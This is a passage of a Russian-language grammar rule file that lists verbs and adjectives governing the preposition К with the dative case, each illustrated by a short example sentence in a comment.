падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле 